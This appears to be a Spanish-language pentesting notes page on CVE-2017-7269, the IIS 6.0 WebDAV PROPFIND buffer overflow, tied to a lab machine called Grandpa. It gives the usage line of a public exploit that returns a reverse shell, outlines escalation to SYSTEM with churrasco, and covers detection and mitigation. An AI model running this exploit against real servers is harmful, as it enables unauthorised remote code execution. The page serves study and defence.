the_open_door
café
ESEN
← Volver al índice

IIS 6.0 WebDAV (CVE-2017-7269)

CVE-2017-7269 es un desbordamiento de búfer en el componente WebDAV de Microsoft IIS 6.0, el servidor web que incluye Windows Server 2003 (y XP Pro x64). Permite ejecución remota de código sin autenticación y, por la antigüedad del producto (descatalogado, sin parche oficial fuera de los extendidos de emergencia), es de las escaladas de entrada más fiables contra esa generación.

Dónde está el fallo. En la función ScStoragePathFromUrl, que procesa rutas de las peticiones WebDAV. El desbordamiento se dispara con una petición PROPFIND cuya cabecera If: contiene una URL excesivamente larga (típicamente dos paths http://localhost/... muy largos). El componente no controla la longitud al copiar, sobrescribe la pila y permite redirigir el flujo de ejecución hacia el shellcode del atacante.

Cómo se explota. Hay PoC públicos y fiables; uno habitual es g0rx/iis6-exploit-2017-CVE-2017-7269, que recibe la IP/puerto del IIS y la IP/puerto donde se quiere la reverse shell:

python2 iis6Exploit.py <ip> 80 <lhost> <lport>

El código se ejecuta con los privilegios del proceso de IIS, es decir NT AUTHORITY\NETWORK SERVICE. Esa cuenta de servicio suele traer SeImpersonatePrivilege, lo que abre la escalada posterior a SYSTEM.

Su lugar en la cadena. En Grandpa fue el vector de entrada completo: un único puerto 80 con IIS 6.0, el BOF da la reverse shell como NETWORK SERVICE y desde ahí churrasco (porque es Windows Server 2003) eleva a SYSTEM. Conviene no confundirlo con su gemela Granny, donde el mismo IIS 6.0 se ataca por la configuración de métodos PUT/MOVE, no por la versión.

Una pista para distinguir el vector. Que nmap marque métodos PUT/DELETE no garantiza subida de ficheros (en Grandpa era un falso positivo). Cuando la subida no funciona, el camino es la versión: IIS 6.0 ⇒ CVE-2017-7269.

Cómo detectarlo. La firma en red es una petición PROPFIND con una cabecera If: anormalmente larga (dos URLs http://localhost/... de cientos de bytes), patrón que las firmas IDS/IPS para CVE-2017-7269 detectan al vuelo. En el host, el exploit deja el proceso de IIS (w3wp.exe, como NETWORK SERVICE) cayendo y reiniciándose o lanzando cmd.exe/el shellcode como hijo (Event ID 4688), algo que servir páginas web nunca hace. Un WebDAV PROPFIND gigante contra un IIS 6.0 seguido de una conexión saliente es la cadena completa.

Defensa. No hay parche viable para un producto fuera de soporte: la mitigación real es deshabilitar WebDAV si no se usa y, sobre todo, retirar o aislar cualquier IIS 6.0 / Windows Server 2003 expuesto.

Máquinas donde se aplica